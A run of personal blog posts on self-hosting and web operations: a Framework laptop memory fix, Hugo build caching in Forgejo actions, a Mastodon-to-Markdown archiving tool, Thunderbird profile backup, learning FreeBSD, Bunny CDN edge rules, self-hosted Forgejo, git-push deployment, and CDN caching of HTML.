1. It’s hard to ignore the constant news of leaks, or stories of people getting locked out of their own data with no recourse other than publicizing their case on popular news aggregators. ↩︎

2. I’m not going about hosting my email, at least for now. ↩︎

Last week my two year old Framework laptop went completely unresponsive while I was using it. Unable to bring it back into a working state, I pressed down the power button until it turned off. When I turned on the laptop again, it powered up but failed boot.

Being that I was travelling, and that I was not carrying the laptop’s screwdriver as to attempt further troubleshooting, I stowed my laptop away and touched grass for a couple of days.

Diagnosing the issue

Once I was back at home I came across a page in Framework’s help center about a laptop not powering on. I learned that a Framework laptop will run a diagnosis when it fails to exit the BIOS successfully. The results are emitted as a sequence of lights on the side LEDs.

The LEDs on my laptop where in fact blinking, but the sequence is emitted too fast for me to decipher it at a glance. I recorded the sequence in slow motion and jotted down the results.

Here’s how my diagnosis went, as reproduced from the help page. A green blink means a check passed, whereas an orange blink means that a check failed.

Blink Description 1 Green Battery connected check 2 Green Power Good 3V5V supply 3 Green Power Good VCCIN_AUX 4 Green CPU deassert sleep S4 5 Green Power boot core VR 6 Green Touchpad detected 7 Green Audio board Detected 8 Green Thermal sensor detected 9 Green Fan detected and spins up 10 Green CPU reached S0 state 11 Orange DDR initialized OK 12 Green Internal display initialized OK

It appeared that my laptop’s memory module was not initializing correctly. According to the help page, this is a known cause for the issue that I was having.

Attempting a fix

Framework’s documentation suggests removing the memory modules and testing them individually in each socket. I unscrewed the laptop, disconnected the input cover, and removed the left memory chip.

I connected the input cover and pressed the power button. The laptop turned on and then booted up correctly! The remaining memory chip was recognized. I ran some tests and everything seemed to work fine.

Wanting to verify whether the memory chip had gone bad, I turned the laptop off and reinstalled the memory in the same socket. To my surprise, this time the laptop booted up as usual and both memory chips were recognized.

At this point, I did not attempt any further tests and have since used the laptop without any further issue.

Relief

I’m still not confident that I won’t run into this issue again, and I’m reaching out to Framework’s support to better understand why this happened in the first place. Further investigation confirmed that others have resolved this exact issue by reinstalling the memory.

That said, I’m pleased with how this turned out. Funnily enough, hours before the incident the thought came to me that I should write about my experience with the laptop thus far. While this post is not that, it touches on an important aspect of the experience.

Some years ago a two-year old Macbook Air died on me. The motherboard had an issue, and both the warranty and Apple Care periods had elapsed. Fixing it would’ve been almost as costly as purchasing a new laptop. In fact, the only recourse I had was replacing said laptop.

In contrast, this week I knew there was a resolution to this incident that did not involve discarding the laptop entirely. As soon as I was able to diagnose the apparent issue, I was reassured of the probable causes and fixes.

Considering that the laptop’s warranty period has elapsed, thus assuming that I would bear the cost of fixing it, these were the scenarios that I was contemplating:

• Faulty memory chip: I would need to replace a memory chip or two. At the time of this writing, I can find a SODIMM DDR4-3200 16GB chip for $40.
• Faulty mainboard: Assuming the mainboard’s memory slots had an issue, I would need to replace the mainboard. At the time of this writing, I can order the exact same Intel i7-1280P mainboard from Framework for $6991, or alternatives for more or less.

Luckily, neither of these scenarios materialized. I did not expect reinstalling the memory would fix the issue.

I purchased this computer specifically for the ability to repair or modify in situations like these, and I’m glad that my expectations were met. The help pages and the community boards were particularly helpful, and servicing the hardware was easy. Now here’s hoping I don’t have to do it again any time soon.

---

1. This represents almost 30% of the laptop’s original price. Costly, but not ruinous. ↩︎

Hugo keeps a resources directory that is used to cache asset pipeline output across builds.

Running hugo build for the first time processes all static assets to apply any specified transformations1. Subsequent runs leverage cache in the resources directory to process only what is necessary for a given build.

This site is built and deployed using a Forgejo action. Unlike my computer, an action’s file system is ephemeral, which means that the resources directory is discarded when the action finishes executing. Unless this directory is explicitly persisted as action cache, every site asset will be needlessly reprocessed whenever the site is built.

Consider Hugo’s output when this site is built in an action that does not reuse the resources directory:

 | EN
-------------------+------
 Pages | 168
 Paginator pages | 0
 Non-page files | 27
 Static files | 9
 Processed images | 54
 Aliases | 1
 Cleaned | 0
Total in 7161 ms

It took Hugo approximately 7 seconds to generate the site.

Now, compare Hugo’s output when the site is built in an action that loads the resources directory from cache:

 | EN
-------------------+------
 Pages | 168
 Paginator pages | 0
 Non-page files | 27
 Static files | 9
 Processed images | 54
 Aliases | 1
 Cleaned | 0
Total in 451 ms

Unsurprisingly, Hugo is able to build the site many times faster by leveraging its cache. It just needs to have it.

Although I’m writing about this in the context of a Forgejo action, I suspect this works exactly the same using Gitea’s and Github’s caching actions.

Using action cache

The way this works is as follows. Before Hugo runs, the resources directory is restored from cache and loaded into the action’s working directory. Hugo uses files from this directory as needed while the site is built. Then, the cache is updated in case Hugo modified the resources directory.

Creating a cache key

Action cache works by assigning a key to the cache. You use said key to save and restore cache across action runs.

However, action cache cannot be overwritten after it has been created. Instead, a new key should be used if the cache is meant to be updated.

In our case, using a static key such as cache-hugo-resources is insufficient as it yields only what existed in the resources directory when the cache was created. Any assets added or modified thereafter would get recreated on each subsequent run.

To this end, we need to use a dynamic key that is unique based on what’s inside the resources directory. This way, we ensure that the action cache is updated automatically whenever Hugo modifies its cache.

We can use the hashFiles function to suffix the key with a hash of the resources directory contents. We’ll also want to prefix the keys with a string that is common to all keys used for this particular kind of cache.

In the end, our cache keys will look like this: cache-hugo-resources-<hash>.

Restoring the cache

There is no resources directory in the working directory until we use the restore action to load the cache. Thus, it is not possible to derive a hash and attempt matching a cache key directly.

Passing the key prefix cache-hugo-resources as a key will cause a cache miss. However, passing the same prefix to restore-keys allows falling back to the latest cache containing such a prefix.

Lastly, we use path to load the cache into a resources directory in Hugo’s working directory.

- name: Restore Hugo cache
 uses: actions/cache/restore@v4
 with:
 path: ./resources
 key: cache-hugo-resources-
 restore-keys: |
 cache-hugo-resources-

If everything goes as expected, the action logs a success message:

Cache restored successfully
Cache restored from key: cache-hugo-resources-71873057272c67b9ede2b392e308ac02b0553260be66af0477562accb4c1755d

Saving the cache

After the Hugo build step is finished, the resources directory should be saved using the save action. As mentioned beforehand, the key should be suffixed with a hash of the contents of the directory.

- name: Save Hugo cache
 uses: actions/cache/save@v4
 with:
 path: ./resources
 key: cache-hugo-resources-${{ hashFiles('./resources/**/*') }}

When a commit contains a new asset, or an existing one is modified, the resources directory will change. When this occurs, the cache key will be new and the cache is saved:

Cache Size: ~4 MB (3803753 B)
Cache saved successfully
Cache saved with key: cache-hugo-resources-71873057272c67b9ede2b392e308ac02b0553260be66af0477562accb4c1755d

Conversely, when a commit yields no changes to the restored resources directory, no cache will be saved. The save action will fail silently with the following warning:

::warning::Failed to save: {"error":"already exist"}
::warning::Cache save failed.

This warning is expected as no new hash was derived from the resources directory. The existing cache will be reused in the next run.

---

1. In my case, that’s generating variants of images and fingerprinting static assets. ↩︎

I’ve been using Mastodon as a microblog. It’s a more instantaneous, and at times conversational, medium than this site. Yet, whatever I make public there I would make public here as well.

Social media platforms come and go. Throughout the years I’ve joined and left several of them, and I suspect that this will continue to be the case. However, I’m increasingly turning to my personal site for online discourse.

Some months ago I started archiving posts from my Mastodon account to this site, following IndieWeb’s “Publish Elsewhere, Syndicate Own Site (PESOS) syndication model:

It’s a syndication model where publishing starts by posting to a 3rd party service, then using infrastructure (e.g. feeds, Micropub, webhooks) to create an archive copy on your site.

By syndicating to my site, people who are not on the Fediverse can easily follow my statuses. By archiving in my site, I can switch external platforms, or drop them altogether, and the statuses would persist. By syndicating to my site, I can leverage my site’s taxonomy to link relevant content together.

All mastodon servers have a public API, and there’s an endpoint to retrieve an account’s statuses. I use Hugo to build this site, and I started out with the simplest approach using Hugo’s data fetching capabilities for templates.

This approach is quite limited. The statuses endpoint returns a maximum of 40 posts per API call. This is ok if all you care is showing your most recent activity, which is what I did. However, my intent was to have a long-lived archive of my posts, so these statuses have to persist somewhere.

At this point I wanted to support other features, such as:

• Having threaded posts appear as a single post, including those whose posts exist beyond a single batch of posts returned by the statuses endpoint
• Integrate Mastodon tags with tags on this site
• Archive attached media
• Backfill the archive to a given date

Hugo’s new content adapters feature addresses some of these features, but it’s still limited by the batch size and the fact that it only runs at build time.

Writing a tool

At the time I was learning the Go1 language, so I decided to write my own tool for some practice.

This tool fetches an account’s statuses from Mastodon’s API and turns each status into a file. In my case, these are markdown files that adhere to Hugo’s content system. However, this tool is flexible enough to fit most archiving and syndicating approaches involving static files.

The tool mirrors Mastodon’s API interface via command-line arguments. Additionally, it provides options to further filter statuses by visibility, to thread replies, to customize the file contents and its filename, and more.

For detailed information on using this tool, refer to its documentation.

How I use this

I use this tool in two ways: once, initially, to create the archive up to a given date, and then periodically to retrieve the latest statuses. The archive is version-controlled using git, with files stored in the content/microblog directory for this site.

I don’t archive reblogs or replies made to others. I only archive statuses whose visibility is set to public. My replies to my own statuses are archived chronologically under the originating status (i.e. they’re threaded), even if the visibility of these is set to unlisted2.

Creating the archive

To start, I wanted to generate an archive of statuses published since April of this year.

Though Mastodon’s statuses endpoint returns only 40 statuses at once, you can pass several parameters to control the bounds of the batch. This way, you can fetch statuses published before or after a status, or combine these to fetch between statuses.

To create the archive, and to update it without recreating the entire archive, I need to keep track of one of the delimiting statuses that were fetched. Though the tool is stateless, it supports saving the id of the first and/or last status to a file. You can then parse this file to set the parameters that control the bounds of the statuses batch.

With that in mind, creating an archive means running the tool in a loop until no posts are returned. To support this, the --porcelain flag3 can be used for machine-readable output. --persist-last and --max-id are used in combination to scroll the statuses bounds since the latest status in reverse chronological order.

#!/bin/bash

set -e

while true; do
 command="mastodon-markdown-archive \
 --dist=./content/microblog \
 --exclude-replies=true \
 --exclude-reblogs=true \
 --user=https://social.coop/@ggpsv \
 --porcelain=true \
 --visibility=public \
 --download-media=bundle \
 --threaded=true \
 --persist-last=./last \
 --max-id=$(test -f ./last && cat ./last || echo '')"
 output=$($command)

 if [[ "$output" -eq 0 ]]; then
 echo "No posts returned. Exiting"
 break
 fi
 echo "Fetched $output posts. Continuing."
 sleep 1
done

Alternatively, I could have started from a particular toot and fetch statuses in chronological order (non-inclusive) by first saving that toot’s id in a file, and using the --persist-first and --min-id flags instead.

Updating the archive

Once the archive was created, all that was left to do was to run the tool periodically to fetch the latest posts. This could be done as simply as running the command manually, or delegating it to a cron job. In my case, I decided to use a scheduled Forgejo action in my site’s git repository.

This time, however, I needed to use different arguments. The archive was created by saving the last status returned and going backwards in time. To update the archive, we save the first status returned and going forward in time using the --persist-first and --since-id flags:

#!/bin/bash

set -e

cursor_file="./assets/mastodon-post-cursor"

mastodon-markdown-archive \
 --user=https://social.coop/@ggpsv \
 --dist=./content/microblog/ \
 --threaded=true \
 --exclude-replies=true \
 --exclude-reblogs=true \
 --persist-first=./assets/mastodon-post-cursor \
 --since-id=$(test -f $cursor_file && cat $cursor_file || echo "") \
 --limit=40 \
 --download-media=bundle \
 --visibility=public

A Forgejo action runs this script every hour:

on:
 schedule:
 - cron: '0 * * * *'

jobs:
 fetch-posts:
 runs-on: docker
 steps:
 # Note, `token` must be explicitly set with a valid account token.
 # Otherwise, any other action that runs on commits will not run 
 # on changes committed by this action.
 # See https://forgejo.org/docs/latest/user/actions/#automatic-token
 - name: Checkout repository
 uses: actions/checkout@v4
 with:
 token: ${{ secrets.CI_GIT_TOKEN }}

 - name: Pull changes
 run: |
 git config pull.rebase false
 git pull

 - name: Setup Go
 uses: actions/setup-go@v5
 with:
 go-version: '1.21.6'

 - name: Install go binary
 run: |
 go install git.garrido.io/gabriel/mastodon-markdown-archive@latest

 - name: Run mastodon-markdown-archive
 run: |
 ./cmd/archive-last-toots.sh

 - name: Commit files
 run: |
 if [[ -n $(git status --porcelain) ]]; then
 echo "Committing updates"
 git config user.name "Gabriel Garrido"
 git config user.email "gabriel@garrido.io"
 git add .
 git commit -m "[bot] Update microblog"
 git push
 exit 0
 fi

 echo "No updates to commit"

If there are any new statuses, the files are added, the latest status cursor is bumped, and everything is committed to the repository. A build action immediately takes off to update the site.

Integrating with the site

The file template that I use for these statuses adheres to Hugo’s front-matter, and the status content is transformed to markdown. There is no title associated to each status, the date is kept intact, and tags are integrated if present. The posts index page itself uses a simple template that renders the statuses as a list.

Because the archive consists of just content files, it integrates easily with other features in this site. Statuses are included in my activity page, and tagged statuses are surfaced in tag pages.

Lastly, I did not want to generate individual HTML pages for each status. I also did not want statuses to be included in the main RSS feed for the site.

I used Hugo’s front-matter cascade variable in the content section index (i.e. microblog/_index.md) to specify this behavior:

---
title: "Microblog"
description: "Toots shared elsewhere."
cascade:
 draft: false
 outputs:
 - html
 build:
 list: always
 publishResources: true
 render: link
---

Most recent updates from my [Mastodon account](https://social.coop/@ggpsv).

If I look at what’s inside the /microblog directory served by my server, I only see the HTML index file, and directories for statuses containing images.

gabriel@web:/srv/www/garridoio/microblog$ ls .
112308269959334305 112379226671944827 112412326313066484 112451270989833340 112809622815742168 index.html
112311041034490889 112405219638863457 112430353694211775 112787070185548899 112825371345585302

gabriel@web:/srv/www/garridoio/microblog$ ls 112308269959334305/
112308269734278023_hub8ec8e67d30b6a075a6e33ed7b1060cd_1867064_0x800_resize_q80_box.jpeg 112308269734278023.jpeg
112308269734278023_hub8ec8e67d30b6a075a6e33ed7b1060cd_1867064_0x800_resize_q80_h2_box.webp

---

1. I still am! For this particular program, I ended up learning a lot about templates and Go’s pass-by-value. The latter was particularly relevant for someone who has mainly written JavaScript. ↩︎

2. In Mastodon it is customary to set your threaded replies as unlisted to avoid cluttering other’s feeds. ↩︎

3. Inspired by the option in git status ↩︎

I use Thunderbird to manage multiple email inboxes, calendars, and address books. All of the corresponding accounts, and their data, are associated to what Thunderbird calls a “profile”. To backup your accounts and their data, including email messages, you can export the entire profile.

Thunderbird provides a helpful article on how to export a profile. The size of my profile is larger than what’s supported by their *.zip export option, so I needed to manually backup the directory where the profile is stored.

In the profile export screen there is a button to open the profile directory. However, clicking it did not open it for me. To find the actual profile path, I had to go to Help > Troubleshooting Information, scroll down to the Profiles row, and click about:profile. This opens up a separate page where all profiles are listed, including their root directory.

Here too, there’s a button to open the profile’s root directory. However, the button did not open the file explorer either. Furthermore, I realized that the path listed for Root Directory does not even exist on my machine.

I installed Thunderbird using Flatpak. Upon inspecting its associated permissions, I realized that Thunderbird has no permission to access user files, like /home/gabriel/.thunderbird for the profile’s root directory. Instead, its application files live under /home/gabriel/.var/app/org.mozilla.Thunderbird/.

Knowing this, the Thunderbird profiles can be found in /home/gabriel/.var/app/org.mozilla.Thunderbird/.thunderbird/.

Noting the profile that I’m currently using, I added /home/gabriel/.var/app/org.mozilla.Thunderbird/.thunderbird/ndxxtuul.default-release/ to my autorestic configuration file and I was good to go.

I have started to learn about the FreeBSD operating system. I picked up a copy of Michael W. Lucas’ “Absolute FreeBSD” and created a virtual machine that I am tinkering with.

This is the first time that I deliberately set out to learn a particular operating system. I currently use different distributions of Linux on a daily basis, both on servers and on my personal machines. Yet, learning Linux and the idiosyncrasies of each distribution has been a multi-year endeavor carried out without much forethought. I simply started using them and made my way through, footguns and revelations notwithstanding.

While my work experience has been primarily in software engineering, in recent years I’ve worked in projects where I have had to provision infrastructure and administer systems. Whereas previously I was mainly responsible for writing software, I was now required to understand parts of the system that I took for granted1 (particularly as someone who mainly delved in front-end engineering).

Naturally, having learned a thing or two, I was drawn to hosting and managing my own data and the services that I use. Then, feeling more comfortable assuming back-end and sysadmin work. Next thing you know, I’m spinning up virtual machines to test operating systems, and developing an opinion or two on the matter.

In other words, I feel that I have reached a point where I can actually appreciate the strengths and weaknesses of working with different operating systems. Which leads me to my interest in derivatives of the BSD operating system.

Why FreeBSD?

To start, I’ll share what Ruben Schade has to say in his article “It’s worth running a FreeBSD or NetBSD desktop”:

Sometimes you need to give yourself permission to tinker.

I like to tinker with computers. I’ve done so since I was a kid, and I still get a kick out of probing, breaking, fixing, and ultimately understanding these machines and systems to whom we’ve delegated so much.

Perhaps the most compelling characteristic of FreeBSD to me is that it is designed, developed, and distributed as a cohesive whole. This level of integration makes it less intimidating to learn deeply about the machine and operating system that I rely on. Likewise, I’d expect that knowledge in this area accrues more consistently and durably, though only time will tell if that’s the case.

Then, I’m intrigued by particularities of FreeBSD such as its documentation, cleaner delineation of the operating system and third party software, its jails mechanism, and its integration with the Z File System. These stand out as I reminisce what my experience has been across multiple operating systems with regards to using third-party packages2, isolating software, and managing files. I look forward to seeing how these compare in practice.

Lastly, I’ve also been interested in expanding my knowledge of networks by repurposing some old devices in a home lab. As far as I understand, FreeBSD’s networking stack and virtualization capabilities are well deployed to this endeavor.

For now, my goal is to replace the Ubuntu servers that I use as web and file servers with FreeBSD. I’m pretty happy with Fedora as a daily driver3, so I have no plans to use FreeBSD on the desktop.

Further resources

Here are some links to writing elsewhere that I’ve found interesting regarding FreeBSD and other BSDs.

• “Let’s talk FreeBSD (finally) with Allan Jude (Changelog Interviews #574)”
• FreeBSD Handbook
• Stefano Marinelli’s writing on FreeBSD
• Ruben Shade’s writing on FreeBSD
• Derek Sivers’s “OpenBSD: why and how”
• Matt Fuller’s “BSD vs Linux”

---

1. I do argue that everyone benefits when software engineers understand how the software that they write is ultimately deployed, served, and operated. ↩︎

2. I shudder thinking about that one openssl update that slipped through Homebrew once and provoked a lot of headaches on macOS. And don’t get me started with Python environments. Developing with containers has provided some relief but not without its own drawbacks. ↩︎

3. Immutability in Fedora with its Atomic Desktops, Flatpak, and Toolbx have served me well with regards to third-party software and development workflows. ↩︎

For some months I hosted this site using Bunny’s file storage and CDN.

Bunny’s CDN is minimally opinionated about serving HTML. It does have some default behavior that is reasonable. For example, not caching HTML.

Other than that, it’s on you to use their Edge Rules for anything custom like redirects, managing headers, caching HTML, rate limiting, etc.

Update: In June 2024, Bunny renovated its edge rule system, making it easier to create and maintain edge rules. However, the logic to implement the functionality described in this note remains unchanged.

Static sites and canonical URLs

This site is completely static and is built using Hugo. When the site is built, Hugo generates a directory that looks something like this:

.
└── public/
 ├── now
 ├── notes
 ├── posts
 ├── about/
 │ └── index.html
 └── index.html

By default, Hugo produces pretty URLs for all permalinks in the site. This means that a permalink for a given page will end with a trailing slash.

For example, the about page above is rendered as /about/ in the case of relative permalinks, and https://garrido.io/about/ in the case of absolute permalinks.

However, when you upload the HTML files to Bunny’s file storage, the above about page will be served at three different URLs:

• /about
• /about/
• /about/index.html

This may be fine for some but in my case I wanted pages to be accessible only at the URL specified by the canonical link element in the page header:

<link rel="canonical" href="https://garrido.io/about/">

To accomplish this, I needed to use Bunny’s Edge Rules.

Edge Rules

I had a conflicting experience using Bunny’s Edge Rule system. Configuring static rules is as straightforward as it gets, but as soon as you’re trying to apply actions or match rules dynamically then you’re in for some trial and error.

Bunny’s edge rules support dynamic variables and variable expansion, you use to achieve dynamic behavior.

To redirect to the canonical URL I have to split the request’s path into its parts and then add or remove the trailing slash manually. There are many URLs on my site so this rule has to be applied dynamically.

Unfortunately, given how Bunny’s rule system works, I had two create variations for each rule below to account for the presence or absence of query parameters. This is not ideal but it’ll work.

In my opinion, the documentation could be improved and the rule editor could provide some sort of testing ground to avoid frustrations. Bunny’s support is good, so they will happily fill in the blanks for you.

Note: If you’re using multiple hostnames for the corresponding pull zone, you should use %{Url.Hostname} instead of hard-coding the host name (e.g garrido.io below).

Redirect /about/index.html to /about/

For this rule, I was looking to trim /index.html from requests. This should only be applied to any request containing index.html in its path.

To redirect to the correct path, I use the %{Url.Directory} variable. This will be expanded at evaluation time to get the requested file’s directory.

Requests without query parameters

Action Value Redirect to URL https://garrido.io%{Url.Directory} Condition Match Value Request URL Any */index.html* Query String None ?*=*

Condition matching should be set to all.

Requests with query parameters

Action Value Redirect to URL https://garrido.io%{Url.Directory}?%{Request.QueryString} Condition Match Value Request URL Any */index.html* Query String Any ?*=*

Condition matching should be set to all.

Redirect /about to /about/

For this rule, I was looking to match any URL whose path does not end in a trailing and has no file extension.

After several iterations, I failed at figuring out how to get this to work and had to reach out to support to understand if it was feasible at all.

Turns out this is only possible by using a dynamic variable that is not documented at all1: {{empty}}.

I ddidn’t want to apply this rule to my webfinger, so I made sure to exclude the .well-known directory from this rule.

Requests without query parameters

Action Value Redirect to URL https://garrido.io%{Url.Directory}%{Url.FileName}/ Condition Match Value Request URL None https://garrido.io/.well-known*, */ File Extension Any {{empty}} Query String None ?*=*

Condition matching should be set to all.

Rule for requests with query parameters

Action Value Redirect to URL https://garrido.io%{Url.Directory}%{Url.FileName}/?%{Request.QueryString} Condition Match Value Request URL None https://garrido.io/.well-known*, */ File Extension Any {{empty}} Query String Any ?*=*

Condition matching should be set to all.

---

Updates

In an earlier version of this note the rules were setup in a way that conflicted with query parameters if they were present. Thank you Vikram for pointing it out.

---

1. They mentioned they were going to add this to their documentation but as of the time of this writing this has not been the case. ↩︎

Update: I’ve since moved on to stagit for my public-facing repositories. The repositories are still found at git.garrido.io, and can be cloned using the dumb http protocol.

It’s been a couple of months since I started hosting my own software forge. Since then I’ve used it as a remote for all of my git repositories, as a registry for container images, to store gists, and for continuous integration (CI).

Why Forgejo

I chose Forgejo because, for my use case, it has feature parity with Github, while also being open-source, lightweight, and simple to operate. It also happens to be governed by its contributors, and is stewarded by Codeberg, non-profit organization.

Collaboration

Unlike Github, I’m not using Forgejo to collaborate on other people’s projects. My server is a single-user instance. This isn’t much of a problem for me as my main motivation to host a software forge is not social.

However, something particularly exciting about Forgejo is that federation is being implemented via ForgeFed, an ActivityPub extension for software forges:

ForgeFed is a federation protocol for software forges and code collaboration tools for the software development lifecycle and ecosystem. This includes repository hosting websites, issue trackers, code review applications, and more. ForgeFed provides a common substrate for people to create interoperable code collaboration websites and applications.

What’s great about version control systems like git is that it is easy to move code from one remote to another as one deems approriate. Yet, tangential artifacts that are equally as important are not as portable or accessible.

Initiatives like ForgeFed pave the way to a world in which we’re not dependent on a centralized entity whose interests and incentives may no longer align with one’s own.

The experience

Hosting Forgejo has been uneventful and virtually maintenance-free. The setup was quick, though configuring Forgejo Runners did require some trial and error as some parts of the documentation were not entirely clear to me.

With regards to performance, Forgejo does run lightly. A quick glance at Grafana tells me that in the past seven days it has been using approximately 150MB of memory and 1-2% of CPU on a low-powered VPS. Such footprint would be even smaller if I were not using this for CI.

Like all other services that I self host, Forgejo and Forgejo Runners run in Docker containers. This adds some overhead but that’s the tradeoff I choose to keep things simpler on the host1.

Access

I use Tailscale to access the server privately over SSH while also exposing the public repositories through a proxy on a separate public server.

Backups

As for backups, Forgejo has a helpful command to export its files and SQLite database. I use this to run automated backups using Restic.

Upgrades

When I decide to upgrade versions I read their well-written release notes, bumps the container’s image, and run an Ansible playbook that runs a backup, restarts the containers, and migrates the database if necessary.

It’s worth pointing out that Forgejo just released their first Long Term Support release so the maintenance burden could be eased further by sticking with the LTS version and applying minor updates.

---

1. Forgejo is written in Go so running it on “bare metal” is as simple as it gets, but I still use a container to keep logging, deployments, and configuration management consistent across many services that I host on a single VPS. ↩︎

Using git push remains one of my favorite ways of deploying software. It’s simple, effective, and you can stretch it significantly until you need more complex workflows.

I’m not referring to using git push to trigger a Github action which builds and deploys software. I’m talking about using git push web main to deploy your main branch to a server that you’ve named web.

I learned this workflow from Josef Strzibny’s excellent book Deployment from Scratch, which I’ve adapted somewhat.

This note supposes you have SSH access to a server that has git installed. Let’s assume that said server is already configured as a host in your machine’s SSH configuration file:

$ cat ~/.ssh/config
Host web
HostName project.com
User admin
IdentityFile ~/.ssh/id_rsa

Creating a remote repository

I keep an Ansible playbook that automates provisioning this workflow. It should be easy to derive an equivalent bash script if you’re not using Ansible.

---
- hosts: all
 become: true
 vars:
 user: "admin"

 tasks:
 - name: Create project directories
 file:
 path: "/srv/{{ item }}"
 state: directory
 owner: "{{ user }}"
 group: "{{ user }}"
 mode: 0755
 with_items:
 - "project"
 - "project/git"
 - "project/source"
 - "project/www"

 - name: Create bare git repository
 shell:
 cmd: |
 git init --bare
 git config --global --add safe.directory /srv/project/git
 args:
 chdir: "/srv/project/git"
 creates: "/srv/project/git/HEAD"

 # git init --bare creates files and directories, let's ensure
 # these have the correct permissions. Otherwise, pushing may
 # result in permission errors.
 - name: Ensure correct permissions in git subdirectories
 file:
 path: "/srv/project/git"
 state: directory
 owner: "{{ user }}"
 group: "{{ user }}"
 mode: "0755"
 recurse: true

 - name: Copy scripts
 copy:
 src: "{{ item.src }}"
 dest: "/srv/project/{{ item.dest }}"
 owner: "{{ user }}"
 group: "{{ user }}"
 mode: "a+x"
 with_items:
 - src: "post-receive.sh"
 dest: "git/hooks/post-receive"
 - src: "deploy.sh"
 dest: ""

The way this works is that you keep a bare git repository in the server where you want to deploy software. A bare repository is a repository that does not have a working directory. It does not push or pull. Anyone with access and permission to the server and the directory where git repository is created will be able to push to it to deploy.

My convention is to create a directory for the project at hand in the /srv/ directory. Inside, I will create two directories: a git directory where the bare repository lives, and a source directory where the source-controlled project files live.

Then, you configure a post-receive script in the git repository hook’s directory. This script will check out the code that was pushed to the main branch into the source directory.

You could do other git operations here like obtaining the current HEAD hash if you’re using that somewhere in your application code.

#!/bin/bash

set -e

GIT_WORK_TREE=/srv/project/source git checkout main -f
/srv/project/deploy.sh

Finally, you trigger a deployment script that also lives in the project root.

This deployment script, in turn, takes care of whatever is necessary to build and release the pushed code. For example, you could use it generate a new version of a website that uses Hugo:

#!/bin/bash

set -e

hugo --gc --minify -s /srv/project/source -d /srv/project/www
echo "Deployed"

It’s important to note that the current working directory for that script will be /srv/project/git/hooks, so you may need to change directory or use absolute paths as I showed in the example above.

Another important consideration is that the remote repository gets updated even if post-receive exits because of an error. It is recommended, particularly in the deploy script, to use set -e so that the script stops if any command exits with an non-zero status. If an error ocurrs you’ll know right away because the stdout and stderr of post-receive is piped back to the client that pushed.

I also recommend writing the deploy.sh script such that it is not coupled to a particular push. It should work with what’s in the source directory. In other words, I should be able to use the same script to manually deploy the application if I have a reason to.

Here are a couple of uses for this workflow, some of which I’ve done:

• Build a new binary of a Go program using go build and replace the process
• Build a new image of a Docker container using docker build or docker compose build1 and replace the running containers
• Restart a Node.js server

If you’re using PHP, or serving plain HTML files, you may even get away with not having a deploy.sh script given that the hook updates the source files.

Adding the remote and pushing code

At this point all you need to do is create a new SSH remote for the repository in your machine:

$ git remote add web ssh://web/srv/project/git

The first web above is the name of the remote, which is arbitrary. The second web matches the name of the host we defined configured in our SSH configuration file.

And finally, you push to it.

$ git push web main
Enumerating objects: 86, done.
Counting objects: 100% (86/86), done.
Delta compression using up to 20 threads
Compressing objects: 100% (77/77), done.
Writing objects: 100% (86/86), 5.66 MiB | 1.99 MiB/s, done.
Total 86 (delta 1), reused 0 (delta 0), pack-reused 0
remote: Switched to branch 'main'
remote: Start building sites …
remote: hugo v0.92.2+extended linux/amd64 BuildDate=2023-01-31T11:11:57Z VendorInfo=ubuntu:0.92.2-1ubuntu0.1
remote:
remote: | EN
remote: -------------------+-----
remote: Pages | 9
remote: Paginator pages | 0
remote: Non-page files | 1
remote: Static files | 38
remote: Processed images | 2
remote: Aliases | 0
remote: Sitemaps | 1
remote: Cleaned | 0
remote:
remote: Total in 283 ms
remote: Deployed
To ssh://web/srv/project/git
 * [new branch] main -> main

Because this workflow is version-controlled, reverting or jumping to a specific version is just another git operation.

I should emphasize that this workflow is pinned to the main branch. Any change that you do must be reflected in that branch in order to get it live. That said, you can push other branches to this remote as it is a regular git repository. However, note the following difference.

Doing git push web my-feature-branch will not deploy a new version with the contents of that branch. The post-receive hook above always checks out the contents of main.

You can either merge my-feature-branch to main in your machine and then push to it, or push directly from the branch to the remote:

$ git push web my-feature-branch:main

You can force push with -f if the remote warns you about discrepancies.

---

1. This one is quite convenient for projects where you can get away with not using an image repository and build pipeline, and if building your image is not too process-intensive. Running docker system prune periodically is necessary though. ↩︎

Content delivery networks do not cache HTML out of the box. This is expected, otherwise their support lines would flood with the same issue: “why is my site not updating?”

I want to cache my site fully. It’s completely static and I post infrequently. With some exceptions, most pages remain unchanged once published.

Caching at the edge means that requests to this site travel shorter distances across the globe. Keeping pages and assets small means less bytes to send along. This is the way.

Most CDNs have the ability to configure which files to cache and for how long. I use Bunny, which does not cache HTML out of the box. What follows should translate to other CDNs, but you may have to adapt a setting or two.

Setting the cache

I want the CDN to hold on to HTML files for a year. To that end, I define an edge rule that looks like this:

• Override Cache Time: 3153600 seconds
• If Match all
  • Response Header
    • content-type
      • If Match any
        • text/html
        • text/xml
  • Status Code:
    • 200

If my origin responds to a request with a content type of text/html or text/xml1 then the CDN will cache it. I don’t want the CDN to cache requests for pages that do not exist, so I configure it to check that the origin also returns a status code of 200.

Avoiding the browser’s cache

I need to make sure that the CDN instructs browsers to not cache the page. Why? If I publish an update to a page, I can invalidate the cache in the CDN but not in someone’s browser.

I create a second edge rule that looks like this:

• Set Response Header: cache-control: public, max-age=0, must-revalidate
• If Match all
  • File Extension
    • If Match any
      • {{empty}}
      • xml
  • Response Header
    • cdn-cache
      • If Match any
        • HIT

The cache-control header is used to instruct the browser on how to cache the resource. max-age=0 marks the response as stale and must-revalidate ensures it validates the page against the CDN.

Suppose someone has loaded my /about page once. If they return to this page, the browser will verify with the CDN whether the page has been modified since it was requested. If it hasn’t, the CDN will send a 304 without transmitting back the contents of the requested page.

The cache-control header is set only if the requested resource ends in .xml, as feeds do, or it does not have an extension at all (as html pages do)2.

Invalidating the cache

Lastly, I need to tell the CDN to clear some of its cache when I publish an update to the site. For example:

1. I edit a page’s content.
2. I publish a new post
3. I update the site’s CSS3

I’ll admit that invalidating the cache is a reason why someone may just not bother with caching HTML. Following the list above, there are different scenarios to consider. If I edit a given post I may be tempted to think that only that page’s cache must be invalidated.

However, in my site an update to a single page can manifest in changes to other pages: A change in the title requires updating the index, a new tag requires updating the tag index, a new internal backlink requires updating the referenced page.

Lest you’re down to play whack-a-mole, the feasibility of this endeavour rests in the ability to invalidate the cache correctly and automatically. In my case I check every new site build against the live build to purge the cache automatically.

---

1. I’m also caching *.xml files, as RSS readers are probing my site’s feeds frequently. ↩︎

2. These are the affordances that I can use in my CDN’s edge rules. Other CDNs may provide with something more explicit. ↩︎

3. The CSS file for this site has a hash in its filename. Updating the CSS means a new hash which means all pages update their CSS reference. ↩︎

